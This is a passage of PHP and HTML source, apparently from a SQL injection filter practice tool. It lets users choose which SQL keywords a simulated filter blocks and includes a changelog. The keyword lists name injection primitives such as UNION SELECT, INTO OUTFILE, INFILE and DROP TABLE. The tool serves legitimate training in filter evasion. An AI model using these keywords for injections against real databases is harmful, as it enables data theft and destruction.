Case: <input type="radio" name="case" value="both"<?php echo ($case == 'both') ? ' checked' : ''; ?>> Any
<input type="radio" name="case" value="lower"<?php echo ($case == 'lower') ? ' checked' : ''; ?>> Lowecase
<input type="radio" name="case" value="upper"<?php echo ($case == 'upper') ? ' checked' : ''; ?>> Uppercase<br />
Method: <input type="radio" name="method" value="string"<?php echo ($method == 'string') ? ' checked' : ''; ?>> String
<input type="radio" name="method" value="integer"<?php echo ($method == 'integer') ? ' checked' : ''; ?>> Integer<br />
Predefined filters: <select onchange="setPredefined()" id="predefined">
<option>Predefined</option>
<option value="1">AND, OR, NULL, WHERE, WHILE</option>
<option value="2">UNION, SELECT, FROM, HAVING</option>
<option value="5">UNION, SELECT, FROM, WHERE</option>
<option value="3">INTO, FILE, CASE</option>
<option value="4">GROUP BY, ORDER BY, HAVING, LIMIT</option>
</select>
<table border="1" cellpadding="4" cellspacing="0" style="border:1px solid #000000;border-collapse:collapse;width:600px;">
<thead>
<th style="width:25%;">SYNTAX</th>
<th style="width:20%;">OPERATORS</th>
<th style="width:30%;">FUNCTIONS</th>
<th style="width:25%;">MISC</th>
</thead>
<tbody>
<tr>
<td valign="top">
<?php
foreach($filter['syntax'] as $key => $keyword) {
$checked = (isset($_POST['filter']['syntax'][$key])) ? ' checked' : '';
$id = "syntax_{$key}";
echo "<input type=\"checkbox\" id=\"{$id}\" name=\"filter[syntax][{$key}]\"{$checked}> {$keyword['caption']}<br />\n";
}
?>
</td>
<td valign="top">
<?php
foreach($filter['operators'] as $key => $keyword) {
$checked = (isset($_POST['filter']['operators'][$key])) ? ' checked' : '';
$id = "operators_{$key}";
echo "<input type=\"checkbox\" id=\"{$id}\" name=\"filter[operators][{$key}]\"{$checked}> {$keyword['caption']}<br />\n";
}
?>
</td>
<td valign="top">
<?php
foreach($filter['functions'] as $key => $keyword) {
$checked = (isset($_POST['filter']['functions'][$key])) ? ' checked' : '';
$id = "functions_{$key}";
echo "<input type=\"checkbox\" id=\"{$id}\" name=\"filter[functions][{$key}]\"{$checked}> {$keyword['caption']}<br />\n";
}
?>
</td>
<td valign="top">
<?php
foreach($filter['misc'] as $key => $keyword) {
$checked = (isset($_POST['filter']['misc'][$key])) ? ' checked' : '';
$id = "misc_{$key}";
echo "<input type=\"checkbox\" id=\"{$id}\" name=\"filter[misc][{$key}]\"{$checked}> {$keyword['caption']}<br />\n";
}
?>
</td>
</tr>
</tbody>
</table>
</form>
<script language="javascript">
var setPredefined = function() {
e = document.getElementById('predefined')
selected = e.value

uncheckAll();
check = new Array();
switch (e.value) {
case '1':
check = ['syntax_where', 'syntax_limit', 'operators_and', 'operators_or', 'operators_null'];
break;
case '2':
check = ['syntax_union', 'syntax_select', 'syntax_from', 'syntax_having'];
break;
case '3':
check = ['syntax_into', 'syntax_file', 'syntax_case']
break;
case '4':
check = ['syntax_group_by', 'syntax_order_by', 'syntax_having', 'syntax_limit']
break;
case '5':
check = ['syntax_union', 'syntax_select', 'syntax_from', 'syntax_where'];
break;
}

for (var i=0; i < check.length; i++) {
el = document.getElementById(check[i]);
el.checked = true;
}
}

var uncheckAll = function() {
var inputs = new Array();
inputs = document['keywords'].getElementsByTagName('input');

for (var i=0; i < inputs.length; i++) {
if (inputs[i].type == 'checkbox') {
inputs[i].checked = false;
}
}
}
</script>
</body>
</html>



Changelog

v0.4
- Modified the design
- Bug fixes
- Added new filter keywords:
- INTO, FILE, OUTFILE, INFILE, HAVING, NULL, CAST, CASE, TRUNCATE, INSERT, UPDATE, DELETE, DROPTABLE
- Added predefined filters:
- AND, OR, NULL, WHERE, WHILE
- UNION, SELECT, FROM, HAVING
- UNION, SELECT, FROM, WHERE
- INTO, FILE, CASE
- GROUP BY, ORDER BY, HAVING, LIMIT

v0.3
- Added new filter keywords: MOD
- Added separation on string and integer
- Minor bugfix

v0.2
- Cleaned up the design
- Added new filter keywords: <>, IS, NOT, WAIT FOR

v0.1
- Quick draft just to get something working

Enjoy
- Happy Hacking!


Ιουνίου 22, 2017 | 0 σχόλια | Διαβάστε περισσότερα
 
berita unik